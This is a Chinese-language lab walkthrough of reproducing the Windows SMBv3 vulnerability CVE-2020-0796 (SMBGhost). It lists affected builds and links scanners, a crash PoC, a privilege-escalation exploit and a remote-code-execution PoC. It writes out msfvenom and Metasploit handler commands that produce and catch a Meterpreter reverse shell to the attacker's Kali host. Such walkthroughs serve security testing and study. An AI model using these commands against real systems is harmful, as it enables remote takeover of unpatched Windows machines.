CVE-2020-0796 漏洞复现

0x00 漏洞介绍

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x01 影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909

0x02 环境搭建

Win10漏洞环境
win10:192.168.111.13 关闭防火墙
kali:192.168.111.3

0x03 漏洞检测

python版本

https://github.com/ollypwn/SMBGhost
在这里插入图片描述

exe版本(奇安信)

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
在这里插入图片描述
这里需要注意的是测试环境需要关闭防火墙

0x04 漏洞攻击

蓝屏Poc

https://github.com/eerykitty/CVE-2020-0796-PoC
在这里插入图片描述
CVE-2020-0796 漏洞复现_第1张图片

本地提权

https://github.com/danigargu/CVE-2020-0796/releases
CVE-2020-0796 漏洞复现_第2张图片

远程攻击

https://github.com/chompie1337/SMBGhost_RCE_PoC
下载该脚本,利用kali生成反弹shell的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.3 lport=4444 -f py -o exp.py

CVE-2020-0796 漏洞复现_第3张图片
然后利用生成的shellcode替换exploit.py中的USER_PAYLOAD

打开msf,监听本地4444端口

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.111.3
run

运行exploit.py脚本,反弹shell
CVE-2020-0796 漏洞复现_第4张图片
这个脚本运行的时候确实不是很稳定,需要多尝试几次

0x05 参考

https://xz.aliyun.com/t/7440

你可能感兴趣的:(漏洞攻击)